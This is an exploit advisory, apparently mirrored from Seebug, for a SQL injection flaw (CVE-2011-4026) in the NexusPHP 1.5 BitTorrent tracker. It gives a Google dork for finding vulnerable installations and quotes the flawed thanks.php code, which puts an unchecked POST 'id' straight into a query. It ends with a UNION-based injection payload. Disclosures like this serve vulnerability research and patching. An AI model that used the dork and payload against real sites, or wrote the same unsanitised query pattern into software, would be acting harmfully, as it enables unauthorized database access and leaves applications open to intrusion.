NexusPHP 1.5 - SQL Injection

ID SSV:72201
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.

                                                # Exploit Title: Nexusphp.v1.5 SQL injection Vulnerability
# Google Dork: intitle:nexusphp
# Date: 2011-10-08
# Author: flyh4t
# Software Link:
# Version: nexusphp.v1.5
# Tested on: linux+apache
# CVE : CVE-2011-4026

Nexusphp is BitTorrent private tracker scripts written in PHP 
The codes is here
There is a sql injectiong Vulnerability in thanks.php.
-----------------------vul code-------------------
if ($_GET['id'])
 stderr("Party is over!", "This trick doesn't work anymore. You need to click the button!");
$userid = $CURUSER["id"];
$torrentid = $_POST["id"];
$tsql = sql_query("SELECT owner FROM torrents where id=$torrentid");
$arr = mysql_fetch_array($tsql);
-----------------------vul code end-------------------
 $_POST["id"] is not checked, lead a sql injection Vulnerability


_POST[id] : -1 union select version()>4/*

-----------------------exploit end -------------------